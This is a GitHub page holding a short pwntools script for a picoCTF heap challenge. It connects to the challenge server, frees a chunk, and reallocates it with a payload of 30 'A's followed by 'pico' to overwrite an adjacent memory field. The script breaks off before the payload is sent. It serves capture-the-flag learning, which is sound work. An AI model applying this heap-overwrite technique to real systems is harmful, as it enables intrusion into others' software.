You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
## Great beginners-guide on how to use the pwntools-library: https://nobinpegasus.github.io/blog/a-beginners-guide-to-pwntools/
from pwn import *
p = remote("tethys.picoctf.net", 61955)
## Free `x`
p.sendline(b"5")
## Allocate memory and write to it
p.sendline(b"2")
payload = f"{"A"*30}pico" # We need to pad our payload with 'A'*30 since the flag comes after a, b, and c in the memory-structure (see ./original_files/chall.c)
p.sendline(str(len(payload)+1).encode()) # Allocate a bit more than the size of our payload